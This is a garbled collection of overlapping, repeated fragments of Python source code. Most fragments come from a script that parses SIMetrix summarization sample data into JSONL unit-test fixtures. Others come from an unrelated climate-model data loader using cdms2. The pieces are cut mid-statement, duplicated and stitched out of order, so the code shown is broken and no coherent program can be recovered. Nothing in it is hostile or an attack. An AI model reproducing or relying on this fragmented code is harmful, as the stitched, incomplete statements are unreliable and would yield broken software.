documents = {} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = []", "columns else: metrics = { 'summarizer_id': columns[0], 'metrics': {} } for j, metric_name", "return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics in metrics_list:", "in ['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs", "metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics)", "sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents = {} for instance_id", "glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = [] for line in lines: if", "def load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line", "columns[1], 'metrics': {} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j +", "'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list", "f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir') argp.add_argument('output_dir') args = argp.parse_args()", "sentences = [] for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents", "with JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2', 'input3']: for summarizer_id in", "= { 'summarizer_id': columns[0], 'metrics': {} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name]", "metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j, metric_name", "+ 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for", "metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl')", "return documents def load_sample_summaries(input_dir: str): summaries = {} for instance_id in ['input1', 'input2',", "'metrics': {} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2])", "'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for instance_id", "file_path): with JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics) def main(args): documents", "for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list", "metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path:", "main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro')", "lines = open(file_path, 'r').read().splitlines() sentences = [] for line in lines: if line:", "= load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl')", "for i, line in enumerate(lines): columns = line.split() if i == 0: header", "{} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path in", "'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name]", "+ 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines =", "def load_sample_documents(input_dir: str): documents = {} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id]", "'r').read().splitlines() sentences = [] for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return", "'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list = []", "= { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j, metric_name in", "header = columns else: metrics = { 'summarizer_id': columns[0], 'metrics': {} } for", "= load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__':", "saves it for unit testing. \"\"\" import argparse import sys from glob import", "instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines", "script parses the sample data and output from the SIMetrix package and saves", "summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as", "for instance_id in ['input1', 'input2', 'input3']: for summarizer_id in ['fb', 'me', 'nb', 'rb',", "metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns", "= load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level =", "lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries = {}", "{} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in", "load_sample_documents(input_dir: str): documents = {} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] =", "float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out:", "i, line in enumerate(lines): columns = line.split() if i == 0: header =", "line.split() if i == 0: header = columns else: metrics = { 'summarizer_id':", "1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics", "[] for line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir:", "as out: for metrics in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries", "'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path)", "parses the sample data and output from the SIMetrix package and saves it", "in ['input1', 'input2', 'input3']: documents[instance_id] = [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines =", "f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__", "for metrics in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries')", "= columns else: metrics = { 'summarizer_id': columns[0], 'metrics': {} } for j,", "{} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics)", "documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level", "= line.split() if i == 0: header = columns else: metrics = {", "import glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents", "documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries = {} for instance_id in ['input1',", "= open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out:", "metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines()", "# noqa def load_sample_documents(input_dir: str): documents = {} for instance_id in ['input1', 'input2',", "the SIMetrix package and saves it for unit testing. \"\"\" import argparse import", "documents = {} for instance_id in ['input1', 'input2', 'input3']: documents[instance_id] = [] for", "open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns = line.split() if i ==", "file_path): with JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2', 'input3']: for summarizer_id", "j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def", "f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir') argp.add_argument('output_dir') args", "save_metrics(metrics_list, file_path): with JsonlWriter(file_path) as out: for metrics in metrics_list: out.write(metrics) def main(args):", "metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list =", "'metrics': {} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1])", "documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary': summary", "else: metrics = { 'summarizer_id': columns[0], 'metrics': {} } for j, metric_name in", "metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j + 1]) metrics_list.append(metrics) return metrics_list def save_metrics(metrics_list,", "= documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs, 'summary':", "SIMetrix package and saves it for unit testing. \"\"\" import argparse import sys", "columns else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for", "in ['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({", "str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i, line in enumerate(lines):", "== 0: header = columns else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1],", "'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines =", "'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries,", "docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id, 'documents': docs,", "from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents = {} for", "save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser() argp.add_argument('sample_eval_dir') argp.add_argument('output_dir') args =", "sample data and output from the SIMetrix package and saves it for unit", "if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries = {} for", "load_sample_summaries(input_dir: str): summaries = {} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] =", "'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines()", "} for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j + 2]) metrics_list.append(metrics) return", "2]) metrics_list.append(metrics) return metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path,", "summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ ==", "= load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp = argparse.ArgumentParser()", "= [] for file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = []", "metrics_list def load_expected_system_level_output(file_path: str): metrics_list = [] lines = open(file_path, 'r').read().splitlines() for i,", "JsonlWriter # noqa def load_sample_documents(input_dir: str): documents = {} for instance_id in ['input1',", "and output from the SIMetrix package and saves it for unit testing. \"\"\"", "= {} for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt',", "summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries", "<reponame>danieldeutsch/decomposed-rouge<gh_stars>10-100 \"\"\" This script parses the sample data and output from the SIMetrix", "\"\"\" import argparse import sys from glob import glob sys.path.append('.') from sacrerouge.io import", "import argparse import sys from glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter", "import sys from glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa", "line in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries", "in lines: if line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries =", "{} for summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines()", "'nb', 'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id':", "'summarizer_id': columns[1], 'metrics': {} } for j, metric_name in enumerate(header[2:]): metrics['metrics'][metric_name] = float(columns[j", "columns[0], 'metrics': {} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] = float(columns[j +", "'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id, 'summarizer_id': summarizer_id,", "columns = line.split() if i == 0: header = columns else: metrics =", "for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in ['fb',", "['fb', 'me', 'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents,", "lines = open(file_path, 'r').read().splitlines() for i, line in enumerate(lines): columns = line.split() if", "file_path in glob(f'{input_dir}/{instance_id}/*.txt'): lines = open(file_path, 'r').read().splitlines() sentences = [] for line in", "This script parses the sample data and output from the SIMetrix package and", "summarizer_id, 'documents': docs, 'summary': summary }) def load_expected_summary_level_output(file_path: str): metrics_list = [] lines", "out: for metrics in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries =", "unit testing. \"\"\" import argparse import sys from glob import glob sys.path.append('.') from", "summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level = load_expected_summary_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.micro') system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level,", "{ 'summarizer_id': columns[0], 'metrics': {} } for j, metric_name in enumerate(header[1:]): metrics['metrics'][metric_name] =", "i == 0: header = columns else: metrics = { 'instance_id': columns[0], 'summarizer_id':", "summarizer_id in ['fb', 'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id]", "documents def load_sample_summaries(input_dir: str): summaries = {} for instance_id in ['input1', 'input2', 'input3']:", "system_level = load_expected_system_level_output(f'{args.sample_eval_dir}/sampleMappings.txt.ieval.macro') save_metrics(summary_level, f'{args.output_dir}/metrics.summary-level.jsonl') save_metrics(system_level, f'{args.output_dir}/metrics.system-level.jsonl') if __name__ == '__main__': argp =", "glob import glob sys.path.append('.') from sacrerouge.io import JsonlWriter # noqa def load_sample_documents(input_dir: str):", "else: metrics = { 'instance_id': columns[0], 'summarizer_id': columns[1], 'metrics': {} } for j,", "def load_sample_summaries(input_dir: str): summaries = {} for instance_id in ['input1', 'input2', 'input3']: summaries[instance_id]", "['input1', 'input2', 'input3']: summaries[instance_id] = {} for summarizer_id in ['fb', 'me', 'nb', 'rb',", "import JsonlWriter # noqa def load_sample_documents(input_dir: str): documents = {} for instance_id in", "'me', 'nb', 'rb', 'ts']: docs = documents[instance_id] summary = summaries[instance_id][summarizer_id] out.write({ 'instance_id': instance_id,", "line: sentences.append(line) documents[instance_id].append(sentences) return documents def load_sample_summaries(input_dir: str): summaries = {} for instance_id", "and saves it for unit testing. \"\"\" import argparse import sys from glob", "save_instances(documents, summaries, file_path): with JsonlWriter(file_path) as out: for instance_id in ['input1', 'input2', 'input3']:", "data and output from the SIMetrix package and saves it for unit testing.", "'nb', 'rb', 'ts']: summaries[instance_id][summarizer_id] = open(f'{input_dir}/{instance_id}.{summarizer_id}.txt', 'r').read().splitlines() return summaries def save_instances(documents, summaries, file_path):", "def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents, summaries, f'{args.output_dir}/instances.jsonl') summary_level =", "noqa def load_sample_documents(input_dir: str): documents = {} for instance_id in ['input1', 'input2', 'input3']:", "metrics in metrics_list: out.write(metrics) def main(args): documents = load_sample_documents(f'{args.sample_eval_dir}/sampleInputs') summaries = load_sample_summaries(f'{args.sample_eval_dir}/sampleSummaries') save_instances(documents,", "'r').read().splitlines() for i, line in enumerate(lines): columns = line.split() if i == 0:" ]
[ "<reponame>atomse/atomtools<filename>atomtools/__init__.py<gh_stars>0 \"\"\" independent chemical symbols \"\"\" __version__ = '1.9.4' def version(): return __version__" ]
[ "+ '*' + var + '.*.nc').readlines() pd = lst[0][:-1] #data_location # if var", "variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case =", "F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var g =", "f(var + '_ac') except: dm = f(var) f.close() return dm #### GET CMIP5", "THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if var in", "= f(var) f.close() return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst", "in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var +", "model_version + '*' + var + '.*.nc').readlines() pd = lst[0][:-1] #data_location # if", "import cdms2 as cdms import string, os import ESMP #### MAKE DIRECTORY def", "DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if var", "F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']:", "= Tdir() try: os.mkdir(pathout) except: pass F.variable = var F.model_version = model_version nm", "def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid", "lst = os.popen('ls ' + data_location + '*' + model_version + '*' +", "F.variable = var F.model_version = model_version nm = F() nm = string.replace(nm,'.nc','.' +", "var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var", "model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case", "'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period", "' + data_location + '*' + model_version + '*' + var + '.*.nc').readlines()", "data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try:", "pd return dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout", "'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005' filename = F() return data_location,filename", "output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid +", "var F.model_version = model_version nm = F() nm = string.replace(nm,'.nc','.' + targetGrid +", "= test_case data_location = D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version =", "= 'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005' filename = F() return", "+ regrid_method + '.' + targetGrid + '.nc') g = cdms.open(model_output_location,'w+') dm.id =", "= string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var g = cdms.open(pathout +", "BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if var in ['tos','sos','zos']: pd", "CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if variable", "'_ac') except: dm = f(var) f.close() return dm #### GET CMIP5 DATA def", "'/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\"", "### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location = D()", "### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if", "variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005'", "#### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout)", "MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET INHOUSE DATA", "pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable = var F.model_version = model_version", "FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if variable in", "except: pass F.variable = var F.model_version = model_version nm = F() nm =", "dm = f(var) f.close() return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var):", "+ '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template =", "#data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try:", "test_case data_location = D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version", "= data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd)", "try: os.mkdir(pathout) except: pass F.variable = var F.model_version = model_version nm = F()", "var g = cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template,", "D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon'", "import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return ####", "lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd)", "model_version nm = F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id =", "GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location +", "g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template)", "['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var + '_ac')", "cdms.open(pd) try: dm = f(var + '_ac') except: dm = f(var) f.close() return", "= mod_data_path D.test_case = test_case data_location = D() ### CONSTRUCT FILENAME F =", "pd = lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f", "F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method +", "+ var + '.*.nc').readlines() pd = lst[0][:-1] #data_location # if var in ['tos','sos','zos']:", "get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location + '*' + model_version +", "CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location = D() ###", "in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005' filename", "cdms2 as cdms import string, os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path):", "= string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var + '_ac') except: dm", "targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid + '.nc') g", "pass return #### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd", "= lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f =", "return dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout =", "= F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var g", "def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory", "F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable", "nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT", "= variable F.ext='nc' F.period = '1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm,", "model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory =", "os.mkdir(pathout) except: pass F.variable = var F.model_version = model_version nm = F() nm", "= 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc'", "pass F.variable = var F.model_version = model_version nm = F() nm = string.replace(nm,'.nc','.'", "F.model_version = model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon'", "ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET", "+ '.nc') dm.id = var g = cdms.open(pathout + '/' + nm,'w+') g.write(dm)", "INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if", "filename = F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' +", "F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005' filename = F()", "mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET INHOUSE DATA THAT HAS BEEN", "f.close() return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls", "= F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method", "genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm =", "cdms.open(pd) try: dm = f(var + '_ac') except: dm = f(var) f.close() print", "= \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location", "+ '_ac') except: dm = f(var) f.close() return dm #### GET CMIP5 DATA", "os.popen('ls ' + data_location + '*' + model_version + '*' + var +", "+ nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ###", "# if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm", "def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable =", "######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try:", "file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path", "dm = f(var + '_ac') except: dm = f(var) f.close() return dm ####", "= '1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location =", "targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable = var F.model_version =", "regrid_method + '.' 